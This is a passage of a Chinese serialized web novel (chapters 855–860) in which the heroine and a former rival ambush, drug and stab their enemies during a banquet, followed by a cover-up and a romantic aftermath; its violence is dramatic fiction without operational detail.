她并非被慌乱的人群意外挤落,而是在烟火失控、栏杆崩碎的刹那,看准了一个角度,如同一条灵巧的银鱼,顺势向后一仰,悄无声息地没入了冰冷的镜湖之中。 刺骨的湖水瞬间包裹了她,沉重的礼服吸饱了水,向下拉扯。但姜花衫早有准备,入水后并未惊慌挣扎,反而极其熟练地在水下蹬掉了碍事的高跟鞋,双臂划动,纤细的身影在昏暗的湖水中如同鬼魅,迅速脱离了最混乱的落水区域。 她利落地攀上岸边湿滑的岩石,白色礼服紧紧贴在身上,勾勒出窈窕的曲线,不断滴落的水珠在月光下泛着微光。 镜湖对岸的混乱为她制造了绝佳的机会,最后,她悄无声息地潜入了别墅主楼。 “吱呀——” 姜花衫推门而入。 房间内没有开灯,只有清冷的月光透过未拉严的窗幔,在地板上投下一片狭长的、朦胧的光带。 借着微弱的光线,隐约可以看见房间深处,偌大的落地镜前放着一把高背椅,椅子上,赫然坐着一个人影! 那人背对着门口,听见身后的动静缓缓转过身,梳妆镜模糊地映出她半边侧影,身上那抹艳红的金线凤凰甚是惹眼。 萧澜兰抬眸,嘴角带着几分嘲弄,“怎么搞得这么狼狈?” 姜花衫看了她一眼,还了个白眼,自顾自找了毯子擦头,“你游一圈试试?” 萧澜兰冷嗤,“我可不像你这么闲。” 她总算知道当年为什么绞尽脑汁都抓不到姜花衫一点把柄了,这人滑得像泥鳅一样。 姜花衫懒得跟她理论,粗鲁地擦了擦头,一屁股坐上沙发,“少废话,沈年人呢?” 萧澜兰也没指望她和姜花衫的合作能有多和睦,冷哼一声,将手心里的芯片扔了过去,“我给了他密道的钥匙,告诉他会把你送过去让他提前埋伏,他深信不疑,结果被我安排的人迷晕了,现在还在密道里。” 姜花衫接过芯片,二话不说站起身往门外走去。刚走两步忽然想起什么,回头晃了晃手里的芯片,“谢了~” 萧澜兰不为所动,依旧是一副高高在上的姿态,“别忘了你答应过我什么?” 姜花衫眸光微动,笑了笑,“当然,我这个人一向有契约精神。” 一年前。 M国,修道院。 管理员女士瞥了一眼快递单上的信息,涂着猩红指甲的胖手一把抓过桌上的铜质摇铃,不耐烦地摇晃起来。 “铃——铃——铃——” 刺耳的铃声在阴冷潮湿的走廊里回荡。 “三排七室萧澜兰,你的包裹!” 角落里那扇不起眼的木门吱呀一声打开,萧澜兰走了出来。 她穿着朴素的修道院服,面色有些苍白,但眉眼间那股傲气已经被磨砺得所剩无几。她沉默地走上前,接过那个没有任何寄件人信息的扁平包裹,脸上看不出悲喜。 回到冰冷狭小的房间,她拆开了包裹。 最先映入眼帘的是一叠堆积如山的照片。 -沈娥堆着谄媚的笑在酒桌上端杯敬酒。 -沈娥提着昂贵的礼品,被某位权贵家请出家门。 -萧家聚会,萧启搂着一个美艳少妇,沈娥像只没有生气的木雕坐在旁边。 -沈娥站在她曾经寻死的天台痛哭流涕。 一张两张,三张四张,一百张两百张,全是她高傲又卑微的母亲。 萧澜兰的呼吸开始急促。 她不敢置信,一遍遍翻看照片里的内容,那一瞬间她几乎想跪地乞求她从不相信的天神,希望这一切都不是真的,只是有人恶作剧,想要击溃她。 但最终,她在几百张照片里找到了一张白色卡纸,上面只有两行字: -【血脉命格之下,母女是天生的同盟,萧澜兰,你不想杀回来吗?】 -【姜花衫】 “呵……不是恶作剧……” 萧澜兰低低地笑出声来,她死死捏着那些照片,指节因为用力而泛白,肩膀微微颤抖,眼泪在眼眶打转却倔强地没有掉下来。 她枯坐了许久,猛地抬起头,眉宇间的憔悴如同被风吹散的灰烬,一点点消散。 她走到房间唯一那张简陋的书桌前坐下,拿起桌上劣质的墨水笔,提笔写下回信: -【我要回去。】 在萧澜兰回信的一个月后,她收到了一条来自利维坦之陨联盟的邀请,信上说,只要她愿意加入联盟,就能助她重回A国夺回原本属于她的一切。 但她并未理会,而是将邀请函的内容原封不动复制给了姜花衫。 沈年终究是不懂她。对她来说,她最大的厌恶来自自己,她觉得自己搞砸了自己完美的一生,不允许自己有瑕存活。所以,她才会心甘情愿在这个牢笼里消耗自己。 但现在,她想出去,因为姜花衫抓住了她此生最大的软肋。 从她懂事开始,她的母亲就是高贵的上位者,她的自负与骄傲都来自于沈娥,她绝不允许自己成为弄脏母亲裙摆的污泥。 连她的需求都不知道,沈年并非合格的盟友。 很快,姜花衫传来回信: -【我可以助你夺回萧家大权,条件是:我要利维坦之陨里所有名单。】 至此,联盟达成。 * 回忆的潮水缓缓退去。 萧澜兰站起身,走到房间另一侧的衣架前,那里赫然挂着一件与姜花衫身上那件几乎一模一样的白色礼服。她毫不犹豫地脱下身上那件红色凤裙,换上那身纯洁无瑕的白色礼服。 然后又走到梳妆台前,拉开一个隐秘的抽屉,取出一把造型古朴却异常锋利的匕首。冰冷的金属触感让她指尖微颤,但她的手很快稳定下来。 萧澜兰缓缓抬眸看向镜中的自己,还是那张明艳灼目的脸,却变得近乎诡异的疯魔与素净。 她不需要宽恕,也不需要怜悯,只要伤害过她的人下地狱。 如果上帝做不到,就自己做上帝。 …… 第856章 最后的猎人 密道内阴冷潮湿,只有墙壁上间隔甚远的应急灯投下昏黄光晕,勉强驱散一小片黑暗。 沈年悠悠转醒,后颈传来剧烈酸痛,四肢百骸绵软无力,像是被抽走了骨头。他挣扎着想坐起身,却发现连这样简单的动作都异常艰难。 他甩了甩昏沉的头,强迫自己冷静下来观察四周。 他隐约记得这里是萧家的密道——是萧澜兰给了他钥匙,让他提前过来等人…… 萧澜兰! 沈年死死咬紧后槽牙,一丝不祥的预感如同冰冷的毒蛇,倏地缠紧了他的心脏。 就在这时,寂静的密道深处传来了清晰的、不紧不慢的脚步声。 "嗒…嗒…嗒…" 高跟鞋敲击在石质地面上的声音,在空旷的通道里产生回响,带着一种令人心头发毛的韵律,由远及近。 沈年心中一凛,努力抬起头,朝着声音来源的方向望去。 在昏暗跳跃的光线下,他看到一个穿着白色礼服的纤细身影正缓缓走来。 身影越来越近,却停在几步开外的阴影里,面容模糊不清,他依稀能看出是个女人。 沈年强撑着虚弱的身体,靠坐在冰冷的墙壁上,试图让自己冷静:"萧澜兰……你这是什么意思?你想做什么?" 他厉声质问,目光紧紧锁定黑暗里的身影:"你想过河拆桥,是不是也该掂量一下自己有几斤几两?" 阴影中的身影似乎轻笑了一声,那笑声很轻,却让沈年从心底腾升起一股毛骨悚然的错愕。 因为,他已经可以确认,眼前这个女人不是萧澜兰。 "你是谁?" "我?" 人影应了一声,向前迈了一步,恰好踏进一盏应急灯微弱的光圈之下! 那是一张带着盈盈笑意的脸,湿漉漉的头发有几缕贴在颊边,白色礼服因浸过水而更深地勾勒出身形,让她看起来像刚从湖底爬出的水妖。 姜花衫! 沈年的瞳孔骤然收缩,脸上血色尽失,震惊与难以置信让他瞬间失语。 姜花衫微微歪头,欣赏着他脸上精彩的表情变化,红唇勾起一抹残酷的弧度。 "自我介绍一下,我叫姜花衫~"她慢条斯理地开口,"初次见面,请多关照,阿年哥~" 沈年怎么都没想到,出现在他面前的人竟然是姜花衫。 沈家这么多人想抓他,他最后竟然栽到了一个他最看不起的养女手中? 沈年不甘心,胸腔因愤怒和屈辱剧烈起伏:"你……你和萧澜兰是一伙的?!"他几乎是从牙缝里挤出这句话。 姜花衫笑了笑:"是呢~惊不惊喜意不意外?为了抓你,我也算机关算尽了。" 沈年额角青筋暴起,试图调动起一丝力气,却发现身体依旧软得不像话。他怎么都想不明白,到底是哪个环节出了错? 萧澜兰自负自傲,当初姜花衫抢走了原本属于她的光环,又害得她被逐出A国,她怎么可能会和姜花衫合作? 他目光微暗,喘着气冷笑:"抓到又怎么样?你敢动我吗?萧澜兰能背叛我,就一定会背叛你。" "敢啊~"姜花衫蹲下身,与靠坐在墙角的沈年平视,"我选的联盟,我当然有把握。" 说着,她取下绑在腿上的匕首,对着沈年的脖颈比划:"对了,萧澜兰说名单在你身上?在哪?" 沈年看着逼近眼前的刀锋,不觉偏了偏脖子:"只要你动手,萧澜兰就会抓住你的把柄。爷爷就算再宠你,也不会允许手足相残。" "嗤。"姜花衫被逗笑了,用锋利的刀刃轻轻拍打沈年的侧脸,"你到现在还不知道你输在哪里吗?" 这个动作伤害不大,但侮辱性极强,沈年眼里的杀意几乎喷涌而出。 姜花衫瞬间变脸,拿起匕首对着他的大腿用力刺了下去。 "你输在脑子有问题。你连萧澜兰最恨的人是谁都没搞清楚,还想笼络人心?" "唔!"沈年疼得倒吸一口凉气,杀意褪了几分,有些错愕地看着她。 姜花衫并未抽刀,一边压着刀柄挑弄伤口,一边好心解释:"她比谁都清楚,让她一败涂地的人是她自己。所以,她最想杀的人是自己。可是我给她找一个必须要活下去的理由,她为了能和自己和解,只能换个人恨。" "你觉得,她会选谁?" 沈年瞳孔微缩,剧烈的疼痛让他根本无法思考。 姜花衫见状,直接抽刀,鲜血飞溅染红了她的裙摆。 "那当然是周宴珩啦~" 当初在天台,萧澜兰已经做过一次蠢事了,挨了一次毒打。她终究是沈娥倾尽全力教养的世家大小姐,即便会因为一时愚昧蒙蔽了双眼,但总有一天一定会醒悟。 当萧澜兰愿意为了沈娥选择回来,姜花衫就知道,她离醒悟不远了。 沈年猛地抬眼,用力甩了甩头:"周宴珩?" 姜花衫点头:"我要是萧澜兰,负我者就该下地狱。你把她和周宴珩拉在一块,可不是脑子坏了?" * 与此同时,宴会厅临时被用作处理混乱事件的偏厅内,萧家人正手忙脚乱地清点着获救的落水者名单。 周宴珩独自坐在角落,眉宇间凝着一层化不开的阴郁。 落水者都已救上岸,却始终不见姜花衫与萧澜兰的身影。显然,已经有人按计划入局了。 这时,一个穿着萧家侍者制服的年轻人悄无声息地走近,借着递水的空隙,将一枚芯片钥匙轻轻放在水杯旁。 "花园洋房二楼最里面的房间。"侍者低语道。 周宴珩眸光一凛,待他抬眸时,那名侍者已消失在人群中。 他指尖摩挲着冰凉的芯片,沉吟片刻后站起身。 一直嚷着要离开的关鹤察觉到他的异样,急忙拽住他的手臂:"你要去哪?" 周宴珩目光仍追随着侍者消失的方向:"看见刚才那个服务生了?" 关鹤点头。 "盯住他。"周宴珩拍了拍关鹤的肩膀,转身步入通往花园洋房的走廊。 他的身影很快消失在昏暗的廊道尽头,唯有指尖那枚芯片,在灯光下泛着幽微的冷光。 …… 第857章 恶女复仇 沈眠枝原本安静地陪在沈娇身侧,抬眸间忽然发现角落里的周宴珩不见了,只留下关鹤在原地捶胸顿足。 她心头莫名一紧,犹豫片刻,提着裙摆快步走向关鹤。 “阿鹤哥。”沈眠枝的声音依旧保持着惯有的轻柔,却透着一丝不易察觉的探究,“阿珩哥呢?我刚刚还看见他在这里,怎么转眼就不见人了?” 关鹤正因周宴珩的突然离开心烦意乱,闻言没好气地瞥了她一眼,“关你屁事!你是阿珩什么人?轮得到你来查岗?” 沈眠枝向来不跟蠢人计较,脸上的笑容收敛了几分,转身便要离开。 “等等!” 关鹤忽然想到什么,一把抓住正要转身离开的沈眠枝的手腕。 沈眠枝皱眉,正想甩开,关鹤指着周宴珩消失的那条昏暗走廊,语速极快地说道:“他往那边去了,花园洋房!” 沈眠枝被关鹤突如其来的转变弄得有些迟疑,但思忖片刻,还是提起裙摆朝着关鹤所指的方向快步追去。 很快,她的身影也融入了那片阴影之中。 * 周宴珩凭着芯片钥匙,轻易打开了花园洋房二楼最里间那扇厚重的雕花木门。 门内没有开灯,厚重的窗帘遮蔽了月光,只有门廊透进的微光勾勒出房间大致的轮廓。空气中弥漫着一股若有若无的、甜腻的香气。 他的目光锐利地扫过房间,最终定格在靠里侧那张铺着暗色床幔的四柱床上。 床上似乎侧卧着一个人影,背对着门口,身形被薄被覆盖,看不真切。但那头散落的黑色长发和垂落的白纱,隐约让他有种熟悉的感觉。 周宴珩放缓脚步,无声地靠近床边。就在他俯身,伸手即将触碰到那裸露的肩膀时,手掌忽然滞空。 他猛地想到什么,收回手向后退了一步。 几乎同时,那“沉睡”的身影竟以迅雷不及掩耳之势猛地翻身,一把混着刺鼻气味的白色粉末朝着周宴珩的面门狠狠撒来! 是石灰! 就在周宴珩侧头抬手格挡的瞬间,他凭借敏锐的听觉和直觉,精准预判了床上之人因突袭而暴露的位置。 他强忍着石灰的刺鼻气味和手臂的灼痛,闭着眼睛,手臂如铁钳般迅猛探出,一把掐住了那纤细的脖颈,将试图后退的身影死死按回床上! “呃……”一声短促的惊喘被扼在喉咙里。 然而,就在这个空当,一直潜伏在厚重床幔阴影中的另一道黑影,如同鬼魅般悄无声息地窜出。趁着周宴珩全部注意力都被床上之人吸引时,一记精准而狠辣的注射,直接将针头刺入了周宴珩的颈侧动脉。 冰凉的液体被急速推入血管。 周宴珩闷哼一声,猛地挥臂想要将人打开,但一阵强烈的眩晕和麻痹感如同潮水般瞬间席卷全身。 那药效极其猛烈,他的手臂在半空中无力垂下,双腿发软,视线开始模糊摇晃,只能勉强依靠床柱支撑身体,不让自己立刻倒下。 周宴珩身体猛地一僵,掐住脖颈的手瞬间脱力。强烈的眩晕和麻痹感如同海啸般席卷而来,晕死之前他用力甩了甩头,想看清那道黑影是谁。 但最终未能如愿,药性冲垮了他的意志,他重重向后倒去,陷入无边的黑暗。 * “……” 周宴珩是在一阵剧烈的头痛和颈侧尖锐的刺痛中恢复意识的。 视野先是模糊的色块,随后才艰难聚焦。他发现自己正仰面躺在那张四柱床上,手腕和脚踝被粗糙的麻绳紧紧捆缚在床柱上,整个人呈“大”字形被固定,动弹不得。稍一挣扎,绳索便深深勒进皮肉,带来火辣辣的痛感。 他艰难地偏过头,床边暗影里坐着一个人。 那人还穿着那件用来迷惑他的白色礼服,脸上戴着舞会面具,右手正握着一把寒光闪闪的解剖刀。 刀身细长,尖端锋利,在昏暗光线下流动着冰冷的光泽。从外形上看,与姜花衫几乎无异。 “亲爱的,你醒了?” 周宴珩的瞳孔因药物作用依旧有些涣散,但眼底深处却不见丝毫慌乱,“萧澜兰?” “呵呵~”萧澜兰并未否认,俯身贴近周宴珩耳侧,温柔低语,“我特意等你醒来再下手。你说,我对你好不好?” 周宴珩牵动嘴角,那弧度里没有温度,“姜花衫在哪?你和她同时失踪,你又假扮成她的样子引我上钩……你们联手了?” 萧澜兰脸上的快意笑容骤然一僵。 周宴珩眼里的嘲讽更甚,“真是失望。早知道是你,我就不来了。” 难怪姜花衫在宴会时,一个劲儿地挑衅他,原来是故意要引他上钩。 “啪!” 萧澜兰没想到这个节骨眼上,周宴珩还敢轻视她,抬手直接甩了他一记耳光。 周宴珩的脸狠狠歪向一边,眼神也彻底暗了下去。 萧澜兰冷笑一声,刀尖缓缓下移,对准他心脏的位置。 周宴珩偏过头,面无表情地看着她,“手别抖。” “你闭嘴!”萧澜兰眼里闪着嗜血的疯狂,刀尖沿着心脏位置缓缓下移,最终抵住他下腹微鼓的某处。 周宴珩目光微怔,眼神带上了几分危险,“萧澜兰,看来你是不想活了?” “你怕了?”萧澜兰眼中的笑意带着快意,“难怪姜花衫说你不行了,还真是~” 说着,刀锋向下,划过黑色的西服面料。萧澜兰的笑容近乎癫狂: “周宴珩,你、去、死!” …… 第858章 “有毒” “不要!” 伴随着一声急促的娇叱,一道纤细的身影猛地从门外冲了进来,用尽全身力气狠狠撞向持刀的萧澜兰! 萧澜兰猝不及防,被撞得一个趔趄向旁边跌去,手中的解剖刀也“哐当”一声脱手掉落在地。 “衫衫,你冷静点,你不能杀他!”沈眠枝惊魂未定地挡在周宴珩床前。 事发突然,光线昏暗,萧澜兰穿着跟姜花衫一模一样的礼服,脸上又戴着面具,沈眠枝一时没有认出来。 她语气急促,“这里是萧家,大家都在找你,你先回去!” 被撞开的萧澜兰稳住身形,缓缓抬起头。面具下的眼睛透过幽暗的光线死死盯着沈眠枝,那眼神疯狂而怨毒。 她不置一词,捡起地上的手术刀再次对着周宴珩刺去。因为她很清楚,错过这次机会就没有下一次了。 “衫衫!!”沈眠枝见她还要行凶,急忙上前死死拉住她的手臂,试图阻止她,“你先回去!算我求你好不好?!” 沈眠枝的声音带着一丝颤抖,用身体挡在周宴珩面前。 “衫衫,你走好不好,求求你了!” 然而,此刻的萧澜兰已经被仇恨彻底吞噬了理智,力气大得惊人。见沈眠枝冥顽不灵,索性举刀对着沈眠枝的脖颈刺去。 沈眠枝眼眸微缩,徒手拦住萧澜兰的刀。利刃划过她的胳膊和掌心,留下一道极深的口子。 她愣了愣,看着被染红的掌心,思绪突然被抽空。 -【你看到了,你当她是好姐妹,她不仅要杀你喜欢的人,还要杀你,这种人你还护着做什么?】 “闭嘴。”沈眠枝摇头,喃喃自语。 -【杀了她,她该死,明知你喜欢周宴珩,还在宴会上百般勾搭,她根本就是故意的。】 “闭、嘴!” 这时,萧澜兰已经再次捡起沾满血迹的手术刀,高举着尖刀对准了周宴珩的心脏。 “周宴珩,去死!” 沈眠枝只觉得脑中嗡鸣作响,那诡异的声音如同附骨之蛆,不断啃噬着她的理智。眼前的一切仿佛蒙上了一层血色薄雾,萧澜兰高举尖刀的身影在她眼中扭曲、变形,与脑海中那个不断唆使的声音重叠。 -【杀了她,周宴珩就是你一个人的人。】 沈眠枝抬眸,身体却像被无形的线牵引着,猛地朝萧澜兰扑了过去! 她还是输给了另一个意识。 “你走!走啊!”沈眠枝嘶吼着,声音尖利得不似她自己,双手死死抓住萧澜兰持刀的手臂,用尽全身力气将她往后推搡。 此刻的她,像极了被逼到绝境的困兽。 她也恨透了现在的自己。 萧澜兰没料到沈眠枝会突然爆发,被她推得连连后退,手中的手术刀在空中胡乱挥舞,“沈眠枝!你疯了!放开我!” 如果沈眠枝还能有一丝理智,她一定能听出对面的人不是姜花衫。但此刻,她在和自己斗争的世界里疯魔,根本听不见任何声音。 “你走!别逼我!走!”她机械地重复着同一句话,泪水混着掌心的血污淌下,没有人知道,她在用多大的力气抗争。 两人在昏暗的房间里激烈地缠斗,撞翻了旁边的矮凳,扯落了厚重的窗帘。混乱中,她们离那扇敞开的落地窗越来越近。 “走!” 意识里的沈眠枝被脑雾吞没,现实里的她用尽最后一丝力气,猛地将萧澜兰朝着窗口的方向狠狠一推! “啊——!” 萧澜兰的惊呼声戛然而止。 她的身体撞破了虚掩的窗扇,失衡感瞬间攫住了她。面具下的眼睛惊恐地圆睁,似乎不敢相信发生了什么。她挥舞着手臂,想要抓住什么,却只抓到了一把冰冷的空气。 “砰——” 重物落地的闷响被渐冷的风声传回了耳畔。 这一刻,世界仿佛静止了。 沈眠枝僵在原地,维持着推手的姿势。她怔怔地看着那扇空洞洞的窗口,迟缓了片刻才意识到自己做了什么? 脑中的雾气骤然驱散,她站在窗前,脸色惨白,泪如雨下。 周宴珩面无表情,眼神深邃难辨,近乎冷酷地审视着窗边的沈眠枝。 半晌后,沈眠枝才有了反应。双手撑着窗台,就在她纵身一跃的刹那—— 一只有力的手臂猛地从后方环住了她的腰肢,用一种不容置疑的力道,将她硬生生地从危险的边缘拖了回来! 沈眠枝重心不稳,向后跌去,却没有预想中摔倒在地的疼痛,而是落入了一个温暖而馨香的怀抱。 这香气与她满身的血腥形成了鲜明的对比,奇异地穿透了她混乱的感知。 沈眠枝僵硬地抬起头,泪眼朦胧中,对上了一双盛满了惊怒、担忧和后怕的熟悉眼眸。 “衫衫……” 沈眠枝的嘴唇翕动了几下,紧绷的身体骤然一软,晕了过去。 “枝枝?!”姜花衫迅速检查了一下沈眠枝的状况,确认她只是昏厥后,抬起头,目光如冰冷的箭矢射向床上的周宴珩。 周宴珩迎着她的视线,脸上依旧没什么表情,仿佛刚才那场生死搏杀和眼前的混乱都与他无关。 姜花衫淡淡收回目光,将沈眠枝小心地平放在靠近墙边的地毯上。就在周宴珩以为她会对他做些什么的时候,姜花衫忽然起身,冲出了房间。 周宴珩猜测,她应该是下去查看萧澜兰的情况了。 果不其然,片刻功夫,门口转过一道身影,姜花衫又折了回来。 她径直走到床边,捡起地上的手术刀二话不说对着他的胳膊戳了一个窟窿。 “……”周宴珩皱了皱眉头,“又不是我推的人,拿我撒什么气?” 姜花衫一言不发,转头看向地上昏迷的沈眠枝。处置完沈年的事她内心一直觉得不安,总担心剧目会作妖,心里放心不下就想着来看看萧澜兰这边的情况。幸好回来,不然,险些酿成大祸了。 她深吸了一口气,迅速抽刀抵着周宴珩的脖颈。 “窗下正好有个遮掩的玻璃棚,萧澜兰没死。” 周宴珩撩着眼眸,笑着问,“所以呢?” 姜花衫用带血的刀刃拍了拍他的侧脸,“所以,认罪吧,萧澜兰是你推的。” “……”周宴珩已经恢复了一点体力,偏头避开刀锋,“怎么认?我可是受害者。姜花衫,你拿下沈年是你有本事,但你凭什么觉得你可以摆弄我?” 姜花衫偏头,目光再次投向沈眠枝,沉默片刻,回眸看着周宴珩,“不认也行,那你娶她吧?她为了保护你险些杀人,要是传出去这辈子都毁了。她和萧澜兰不同,她没有算计你,周宴珩,你要还是个男人,要么还人情,要么对她负责!” 周宴珩微怔,半晌后扯着嘴角气笑道,“你TM还真有毒!” …… 第859章 正经事 姜花衫带着沈眠枝离开后不久,萧家洋楼瞬间炸开了锅。 负责搜救的管事在露台附近发现了坠落的萧澜兰,她身下是破裂的雨棚和压塌的灌木,人已陷入昏迷,但尚有呼吸。 几乎同时,另一队人马在露台正对的二楼房间窗台上,发现了同样丧失意识陷入昏迷的周宴珩。他手臂上有一个明显的锐器伤口,正在缓慢渗血,脸色苍白,神情晦暗,俨然一副受害者的模样。 萧明闻讯赶来,看到眼前混乱的场景,心头顿时一喜。 全A国的人都知道萧澜兰和周宴珩的旧怨,眼下发生这种惨剧,定然是两人产生了矛盾。 不管谁对谁错,周宴珩毕竟是周家唯一继承人,萧澜兰得罪周家,萧家正好可以抓住眼前这个把柄,逼她退出萧家继承权。 萧明叫来其余家族成员,一番商议过后,先假意全面封锁消息,调来了私人医疗团队,全力救治萧澜兰和处理周宴珩的伤势。随后偷偷给周家传信,以赔罪为名请周家上门。 只是他们不知道的是,早在周宴珩应约时就已经嘱咐关鹤通风报信。还没等萧家安顿好周宴珩,周老爷子就领着一群黑衣保镖杀进了萧家。 得知周宴珩被下药,周老爷子雷霆震怒,当着众宾客的面砸了萧家牌匾不说,还要连萧澜兰一起带走。 萧家不敌周家势大,无一人敢吱声。 沈娥心心念念萧澜兰的伤势,也顾不得什么周老爷子、苏老爷子,直接当场发疯,最后还是沈谦和沈渊同时出面才保住了萧澜兰。 而另一边,姜花衫带着昏迷的沈眠枝,悄然来到萧家花园僻静处的人工湖边。 她小心翼翼抱着沈眠枝踏入冰冷的湖水中,让湖水浸湿沈眠枝的衣衫和头发,制造出落水溺水的假象,同时确保沈眠枝的口鼻高于水面,不会真的呛水。 随后,她发出惊呼,引来了附近的人。 很快,得到消息的沈娇急匆匆赶来,看到的就是姜花衫"奋力"将"昏迷不醒"的沈眠枝从湖中拖上岸的场景。 沈娇此刻也顾不上细究缘由,心疼和担忧占据了上风。她立刻招呼随行人员,用毯子裹紧沈眠枝,以最快的速度将人带离了萧家这个是非之地。 至此,一场惊天大戏终于有惊无险落下帷幕。 * 翌日。 "所以,你就是因为这个原因,不准我去赴宴的?" 姜花衫蜷在柔软的沙发里,身上穿着宽松的纯白T恤,光洁的腿随意搭着,手里捧着一杯热气腾腾的蜂蜜水。 沈归灵就坐在她身侧的地毯上,背靠着沙发,长腿屈起,一只手自然地搭在她的膝头,指尖有一下没一下地轻轻摩挲着。 姜花衫眼神微闪:"这件事我一年前就已经计划好了,一年前,咱们还没这么熟。" 她的确怕三傻会破坏她的计划,但好在沈清予被罚跪祠堂,沈兰晞不知道什么原因外出,只剩下最好解决的沈归灵。所以,她几乎是不费吹灰之力就把阻挠的因素都排除了。 沈归灵嗯了一声,半晌没有接话。 姜花衫抬起头,对上他黑得发沉的目光:"你生气了?" 沈归灵垂眸避开她的眼睛,紧紧将人搂进怀里:"没有。" "还说没有?我都要喘不上气了。" 姜花衫挣扎着要起身,沈归灵从背后锁死,埋头贴近她脖颈:"我就是觉得你穿着礼服围着镜湖游一圈之后,还能跟沈年、周宴珩周旋太厉害了,这么好的体力,我怎么没能领教?" "腿不疼了?肚子不疼了?腰不疼了?" 他每说一句,手上的动作就加重一分,或轻或重地揉捏着她腰腹柔软的肌肤。 "这里......不、疼、了?"沈归灵的嗓音愈发沙哑,带着一种危险的磁性。 周围的空气都变得稀薄滚烫起来。 姜花衫呼吸一窒,感觉所有的血液似乎都涌向了被他触碰的地方,皮肤下的神经末梢都在疯狂叫嚣。 她不自觉绷直了脚背,紧紧覆上他作乱的手掌。她的手相比之下小很多,只能一根一根拨弄他的指尖,嘴硬道:"疼!疼!疼!疼死了!" "骗子。" 沈归灵低哑的嗓音裹挟着灼热的气息,尽数喷洒在姜花衫敏感的颈侧肌肤上,激起一阵细密的战栗。他探入衣摆的手掌并未因她的阻止而撤离,反而就着她覆上来的手,一起缓慢地摩挲。 姜花衫被他弄得浑身发软,眼角湿润,脑中"嗡"的一声,意识逐渐涣散。 沈归灵扶着她的脸侧向自己,低头封缄微张的红唇。他先是厮磨浅吻,等她适应了才开始深入,吮吸、纠缠。 姜花衫被他磨得没办法,闭了闭眼,主动回应。等到沈归灵因为忘情放松警惕时,她立马翻身,双手搂着他的脖子坐在他的腰上:"沈归灵,我真的疼。" 她昨天围着镜湖游了两圈,实在是不能剧烈运动了。 沈归灵的身体明显僵了一下,喉结轻轻滚动,声音比刚才更加沙哑:"还不下来?" 他其实也不是真想做什么,只是有气撒不出来有些憋屈。 姜花衫一动不动,像没骨头的棉花。 沈归灵闭了闭眼,动作僵硬地将她从自己身上轻轻"搬"下来,安置在沙发里。做完这一切,他立马起身准备回房。 姜花衫看出他的意图,一把拽住他的衣角:"你去哪?我还有正事和你商量。" "......" 沈归灵不信她看不出他要干嘛? 他转头瞥了姜花衫一眼,见她坚持又折了回来,扯过沙发上的毛毯,劈头盖脸地将她整个人裹了进去。 沈归灵的动作算不上温柔,甚至带着点赌气似的利落,一圈,两圈,三圈,直到姜花衫被严严实实地裹成了一个"粽子",才再次将她抱进怀里。 "说吧,什么正事?" 他的声音一本正经。 ...... 第860章 小心沈眠枝 姜花衫在他怀里艰难地动了动,试图找个更舒服的姿势,奈何毯子裹得太紧,只能仰着头看他线条流畅的下颌。 沈归灵被她磨得没脾气,手掌按住她的脑袋:"怎么这么喜欢动?" 姜花衫瞬间想到什么,身体一僵,像被人按住了暂停键。 沈归灵后知后觉,轻咳了一声:"我这次说的是字面的意思。" 姜花衫点头,一本正经:"我理解的也是字面的意思。" 两人对视一眼,耳尖一起蹿红。 "......" 沉默片刻,沈归灵松开手掌,主动转移话题:"你是不是想商量怎么处置沈年?" 以姜花衫的性格,她没有把沈年交给爷爷处理,而是自己设下天罗地网抓人,说明沈年对她还有很大的利用价值。 姜花衫微微收敛神思:"他还有用。我想找个地方把他关起来,暂时不能让任何人知道他在我手里。" 但在沈家眼皮子底下藏人,没有那么简单。既然沈归灵能找到避开所有人的秘密基地,也一定有办法困住沈年。 沈归灵沉吟片刻:"这件事不难,交给我处理。只是......你和萧澜兰合作,她已经知道沈年在你手里,万一......" 姜花衫显然早已考虑过这一点:"放心,她不会,我有说服她的理由。" 沈归灵略有些意外:"萧澜兰也不是善茬,她被枝枝推下楼险些丧命,可没那么好说服。" 姜花衫摇头:"不!换作别人或许还会有麻烦,但萧澜反而简单。" 沈归灵见她言之凿凿,便知她心里已经有了主意,点了点头:"你有把握就好。" 迟疑片刻,他摸了摸她被毛毯裹着的圆圆脑袋,语气转为凝重:"有件事,虽然你或许心里有数,但我觉得还是有必要提醒你。" 姜花衫感受着掌心传来的温度,心底泛起一丝暖意:"你想提醒我小心枝枝?" "嗯。"沈归灵低垂着眼睑,鸦翼般浓重的长睫几乎掩住了他眸底所有的情绪,"她将萧澜兰认作了你,换言之,为了周宴珩,即便是你,她也不会手下留情。" 姜花衫眼前闪过沈眠枝决绝地爬上窗台的那一幕,她眸光微暗,低头看着自己的掌心,喃喃自语:"我知道,但不要紧,因为我已经找到破解的方法了......" * 鲸和医院VIP病房外的走廊,硝烟弥漫。 以萧明为首的几位萧家长辈堵在门口,脸色铁青。沈娥以一人之力守在病房门外。 萧明故意扯着嗓门大骂:"大嫂!看看你教出来的好女儿!刚回来闹出这么大的丑事!萧家的牌匾都被周老爷子当众砸了!你让我们萧家的脸以后往哪儿搁?" 萧澜兰的诊断结果已经出来:右臂骨折,多处软组织挫伤,轻微脑震荡。从二楼坠落,多亏了雨棚和草地的缓冲,她奇迹般地只受了些轻伤,但精神状态极不稳定,需要静养。 这个结果让所有萧家人都感到失望,立马跑来医院找沈娥母女的不痛快。 沈娥护女心切,强撑着反驳:"澜兰也是受害者!她是被人推下来的!你们不去找推她的人算账,在这里逼我们母女算什么本事!" "推她的人?"萧明冷笑一声,言词犀利,"谁看见了?房间里只有她和周宴珩!她还给周宴珩下药!你们大家评评理,哪个好人家的姑娘会给男人下药?我看她这是贼心不死,赖上了周家,结果自己遭报应了!" "萧明!"沈娥失声尖叫,"你给我闭嘴!事情还没有查明,你不要血口喷人!" "都已经是明摆的事实了,还要怎么查明?大嫂,我劝你一句,澜兰要继续留在A国,只会为祸萧家,到时候别说周家容不下她,就算是萧家也容不下她!" 萧明语气冷酷,没有丝毫转圜的余地。话音刚落,其他萧家族人也跟着纷纷附和,大有逼迫沈娥现在就把人送出A国的趋势。 沈娥被逼得后退一步,背脊死死抵着冰冷的房门:"你们想逼我女儿走,无非是为了抢夺萧家大权,我告诉你们,想都别想。" 病房内,萧澜兰早已清醒,半靠在病床头。 她右臂打着石膏固定在胸前,脸色还有些苍白,但那双眼睛却异常清明,甚至带着一种近乎冷酷的平静。 床头柜上放着一个果盘,里面有几个红艳的苹果。她顺手拿着盘子里的水果刀,目光灼灼地盯着泛着寒光的刀锋。 她脸上的那份专注,与主治医生批注的"精神状态极不稳定"的诊断结果格格不入。 "哟,大中午的好热闹啊。" 这时,门外响起一声轻快的女音。 